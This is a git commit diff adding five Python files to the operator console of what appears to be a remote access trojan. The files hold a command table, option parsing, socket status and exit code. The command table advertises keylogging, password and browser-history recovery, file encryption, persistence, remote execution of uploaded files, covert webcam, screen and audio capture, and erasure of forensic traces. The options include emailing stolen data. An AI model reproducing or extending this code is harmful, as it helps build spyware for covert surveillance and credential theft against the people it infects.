diff options
author | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
---|---|---|
committer | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
commit | 20dbeb2f38684c65ff0a4b99012c161295708e88 (patch) | |
tree | a5b8445f55da2fbbb92443b68e9d7354a290c598 /domestic/globally |
Diffstat (limited to 'domestic/globally')
-rw-r--r-- | domestic/globally/clear_screen.py | 8 | ||||
-rw-r--r-- | domestic/globally/exit_program.py | 14 | ||||
-rw-r--r-- | domestic/globally/get_help.py | 185 | ||||
-rw-r--r-- | domestic/globally/options.py | 114 | ||||
-rw-r--r-- | domestic/globally/sockets.py | 31 |
5 files changed, 352 insertions, 0 deletions
diff --git a/domestic/globally/clear_screen.py b/domestic/globally/clear_screen.py new file mode 100644 index 0000000..2d8af53 --- /dev/null +++ b/domestic/globally/clear_screen.py @@ -0,0 +1,8 @@ +import os + +from domestic.utility.status_message import * + + +def clear_screen(): + os.system('cls') + status_message(None, 'program')
\ No newline at end of file diff --git a/domestic/globally/exit_program.py b/domestic/globally/exit_program.py new file mode 100644 index 0000000..c08c34e --- /dev/null +++ b/domestic/globally/exit_program.py @@ -0,0 +1,14 @@ +import os + +from domestic.utility.status_message import * +from domestic.utility.delete_client import * +from domestic.global_state import * + + +def exit_program(): + status_message(f'Exiting {state["name"]}', 'danger', {'dots': True, 'end': True}) + + for i in range(len(state['sockets']['clients'][0])): + delete_client(i, False) + + os._exit(0)
\ No newline at end of file diff --git a/domestic/globally/get_help.py b/domestic/globally/get_help.py new file mode 100644 index 0000000..1587165 --- /dev/null +++ b/domestic/globally/get_help.py @@ -0,0 +1,185 @@ +import tabulate + +from domestic.utility.status_message import * + + +help_obj = { + 'help': { + 'type': 'Globally', + 'usage': 'help', + 'description': 'Shows available commands' + }, + 'exit': { + 'type': 'Globally', + 'usage': 'exit', + 'description': 'Exits program' + }, + 'clear': { + 'type': 'Globally', + 'usage': 'clear', + 'description': 'Clears your terminal window' + }, + 'sockets': { + 'type': 'Globally', + 'usage': 'sockets', + 'description': 'Show sockets information' + }, + 'options': { + 'type': 'Globally', + 'usage': 'options --available | --key [key] & --value [value]', + 'description': 'Handle available options' + }, + 'stream': { + 'type': 'Globally', + 'usage': 'stream --ip [ip] & --port [port] | --unbind | --close [index] | --status', + 'description': 'Handle stream module' + }, + 'cam': { + 'type': 'Globally', + 'usage': 'cam --ip [ip] & --port [port] | --unbind | --close [index] | --status', + 'description': 'Handle cam module' + }, + 'audio': { + 'type': 'Globally', + 'usage': 'audio --ip [ip] & --port [port] | --unbind | --close [index] | --status', + 'description': 'Handle audio module' + }, + 'talk': { + 'type': 'Globally', + 'usage': 'talk --ip [ip] & --port [port] | --unbind | --close [index] | --status', + 'description': 'Handle talk module' + }, + 'list': { + 'type': 'Shell', + 'usage': 'list', + 'description': 'List connected clients' + }, + 'server': { + 'type': 'Shell', + 'usage': 'server --ip [ip] & --port [port] | --unbind | --status', + 'description': 'Handle client server' + }, + 'session': { + 'type': 'Shell', + 'usage': 'session --index [index]', + 'description': 'Establish a session with a client' + }, + 'delete': { + 'type': 'Shell', + 'usage': 'delete --index [index]', + 'description': 'Delete a connected client' + }, + 'break': { + 'type': 'Session', + 'usage': 'break', + 'description': 'Exit active session' + }, + 'uninstall': { + 'type': 'Session', + 'usage': 'uninstall', + 'description': 'Delete client file & exit' + }, + 'reconnect': { + 'type': 'Session', + 'usage': 'reconnect', + 'description': 'Reconnect a new client' + }, + 'cd': { + 'type': 'Session', + 'usage': 'cd --to [directory]', + 'description': 'Change directory of session shell' + }, + 'image': { + 'type': 'Session', + 'usage': 'image --screenshot | --cam (--monitor [index])', + 'description': 'Capture a screenshot / cam screenshot' + }, + 'upload': { + 'type': 'Session', + 'usage': 'upload --file [filename] | --url [url] (--execute)', + 'description': 'Upload file to client' + }, + 'download': { + 'type': 'Session', + 'usage': 'download --file [filename] (--execute)', + 'description': 'Download file from client' + }, + 'encrypt': { + 'type': 'Session', + 'usage': 'encrypt --file [filename] (--decrypt)', + 'description': 'Encrypt / decrypt a file' + }, + 'interpreter': { + 'type': 'Session', + 'usage': 'interpreter --execute [code] | --script [filename] (--quiet)', + 'description': 'Execute Python code' + }, + 'keylogger': { + 'type': 'Session', + 'usage': 'keylogger --run | --download (--quiet) | --close | --status', + 'description': 'Handle keylogger' + }, + 'keystroke': { + 'type': 'Session', + 'usage': 'keystroke --inject [inject] | --script [filename]', + 'description': 'Enumerate keyboard / mouse actions' + }, + 'persistence': { + 'type': 'Session', + 'usage': 'persistence --elevate | --schedule | --service', + 'description': 'Alternatives for client persistence' + }, + 'system': { + 'type': 'Session', + 'usage': 'system --shutdown | --restart | --logout | --standby', + 'description': 'Perform system actions' + }, + 'recover': { + 'type': 'Session', + 'usage': 'recover --password | --history (--force) (--quiet)', + 'description': 'Recover passwords / browser history' + }, + 'obfuscate': { + 'type': 'Session', + 'usage': 'obfuscate --logs', + 'description': 'Obfuscate forensic footprints' + }, + 'messagebox': { + 'type': 'Session', + 'usage': 'messagebox --title [title] --text [text] (--style [style])', + 'description': 'Display a messagebox' + }, + 'website': { + 'type': 'Session', + 'usage': 'website --open [open]', + 'description': 'Opens one or more websites' + }, + 'stream_2': { + 'type': 'Session', + 'usage': 'stream --resolution [resolution] (monitor [index]) (--fps) (--fit) (--ip [ip] & --port [port]) (--recognize [haarcascade])', + 'description': 'Run stream module' + }, + 'cam_2': { + 'type': 'Session', + 'usage': 'cam --resolution [resolution] (--monitor [index]) (--fps) (--fit) (--ip [ip] & --port [port]) (--recognize [haarcascade])', + 'description': 'Run cam module' + }, + 'audio_2': { + 'type': 'Session', + 'usage': 'audio --run (--quiet) (--ip [ip] & --port [port])', + 'description': 'Run audio module' + }, + 'talk_2': { + 'type': 'Session', + 'usage': 'talk --run (--ip [ip] & --port [port])', + 'description': 'Run talk module' + } +} + + +def get_help(): + all_commands = [] + for key, value in help_obj.items(): + all_commands.append([value['type'], value['usage'], value['description']]) + + status_message(tabulate.tabulate(all_commands, headers=['Available', 'Usage', 'Description']), 'pure')
\ No newline at end of file diff --git a/domestic/globally/options.py b/domestic/globally/options.py new file mode 100644 index 0000000..39a80a0 --- /dev/null +++ b/domestic/globally/options.py @@ -0,0 +1,114 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.utility.status_message import * +from domestic.global_state import * + + +options_list = ( + ( + 'mode/safe', + 'mode/silent', + 'validation/duplicates', + 'validation/max-clients', + 'information-gathering/history', + 'information-gathering/whoami', + 'information-gathering/record/stream', + 'information-gathering/record/cam-stream', + 'information-gathering/record/audio', + 'information-gathering/record/talk', + 'information-gathering/save/screenshot', + 'information-gathering/save/cam-screenshot', + 'information-gathering/backup/text', + 'information-gathering/backup/image', + 'notice/email-notice', + 'notice/email-data/email', + 'notice/email-data/password', + 'notice/email-data/to' + ), + ( + 'bool', + 'bool', + 'bool', + 'int', + 'bool', + 'bool', + 'bool', + 'bool', + 'bool', + 'bool', + 'bool', + 'bool', + 'bool', + 'bool', + 'bool', + 'str', + 'str', + 'str' + ) +) + + +@error_exception_handling +def options(message): + key = validate_dict_key(message, 'key') + value = validate_dict_key(message, 'value') + available = validate_dict_key(message, 'available') + + if key and value: + key_list = key.split('/') + key_len = len(key_list) + + assert key in options_list[0] + value = validate_option(value, options_list[1][options_list[0].index(key)]) + + if key_len == 2: + state['options'][key_list[0]][key_list[1]] = value + elif key_len == 3: + state['options'][key_list[0]][key_list[1]][key_list[2]] = value + elif key_len == 4: + state['options'][key_list[0]][key_list[1]][key_list[2]][key_list[3]] = value + else: + raise Exception('Key length is invalid') + status_message(f'Option: {key} is now set to {value}', 'success') + elif available: + options = state['options'] + categories = ['mode', 'validation', 'information-gathering', 'notice'] + + for categorie in categories: + option_category = options[categorie] + + status_message(f'{categorie.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'}) + for key, value in option_category.items(): + if 'dict' in str(type(value)): + status_message(f'- {key.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'}) + for key_2, value_2 in value.items(): + status_message(f' - {key_2.capitalize()}: {value_2}', 'pure', {'end': True}) + else: + status_message(f' - {key.capitalize()}: {value}', 'pure', {'end': True}) + print() + status_message(None, 'program') + else: + raise Exception('Error message') + + +def validate_option(value, value_type): + if value == 'true': + value = True + elif value == 'false': + value = False + elif value == 'none': + if 'str' == value_type: + value = None + elif value.isdigit(): + value = int(value) + + value_type_calc = str(type(value)) + + if 'str' in value_type_calc: + assert len(value) < 128 + elif 'int' in value_type_calc: + assert value < 10000 + + assert value_type in value_type_calc or value is None + + return value
\ No newline at end of file diff --git a/domestic/globally/sockets.py b/domestic/globally/sockets.py new file mode 100644 index 0000000..31cd164 --- /dev/null +++ b/domestic/globally/sockets.py @@ -0,0 +1,31 @@ +from domestic.utility.validate_dict_key import * +from domestic.utility.status_message import * +from domestic.global_state import * + + +def sockets(): + if state['sockets']['server']: + ip, port = state['sockets']['server'].getsockname() + status_message('Server:', 'magenta', {'end': True, 'point': 'empty'}) + status_message(f' - Listening', 'pure', {'end': True}) + else: + status_message('Server:', 'magenta', {'end': True, 'point': 'empty'}) + status_message(f' - Not listening', 'pure', {'end': True}) + + for key, value in state['sockets']['modules'].items(): + if value[0]: + ip, port = value[0].getsockname() + status_message(f'{key.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'}) + else: + status_message(f'{key.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'}) + status_message(' - Not listening', 'pure', {'end': True}) + continue + + if len(value[1]) == 0: + status_message(' - None running', 'pure', {'end': True}) + else: + for index, module_client in enumerate(value[1]): + status_message(f' - [{index}] {module_client[1]}', 'pure', {'end': True}) + + print() + status_message(None, 'program')
\ No newline at end of file |